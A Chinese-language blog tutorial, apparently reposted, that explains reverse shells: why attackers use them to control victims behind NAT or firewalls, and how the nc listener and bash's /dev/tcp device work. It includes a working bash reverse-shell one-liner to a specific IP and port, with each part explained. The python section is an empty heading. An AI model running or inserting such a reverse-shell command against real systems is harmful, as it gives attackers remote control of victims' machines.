反弹shell

1.参考文章

版权声明:本文为CSDN博主「云淡.风轻」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_45584159/article/details/111489653

http://www.taodudu.cc/news/show-4295856.html?action=onClick

2.shell

shell就是实现用户命令的接口,通过该接口我们能实现对计算机的控制(root权限), 而反弹shell就是将shell反弹给攻击者,从而达到让攻击者可以在自己的机器上执行shell命令, 从而操控受害者的计算机。

3.为什么要反弹shell

攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

以下情况无法正向连接:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

3.反弹前提

第一步:要有一个可以被监听的端口,通常使用nc命令。
eg:nc -lvp 6767

解析:-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

第二步:要产生一个交互式的shell,使用bash -i

解析:bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别, -i 这个参数表示的是产生交互式的shell

第三步:我们为什么要监听一个端口,就是因为存在一个特殊设备文件(/dev/tcp/ip/root),如果你在任何一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器(即攻击者(攻击者作为服务器,而受害者作为客户端,反弹shell就是让受害者主动与服务端-攻击者建立通信))的socket通信。

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。

4.重定向

有时候需要让文件内容输出到其他设备。

(1)输入重定向 < <<
(2)输出重定向 > >>

重定向就是针对文件描述符的操作

bash反弹

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

bash -i 产生一个bash交互环境

>& 将联合符号前面的内容与后面结合然后一起重定向给后者

/dev/tcp/192.168.146.129/2333 主机与目标机建立一个TCP连接

0>&1 标准的输入与标准输出一起重定向给标准输出的内容

NC反弹

nc -lvnp 6666

python反弹

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信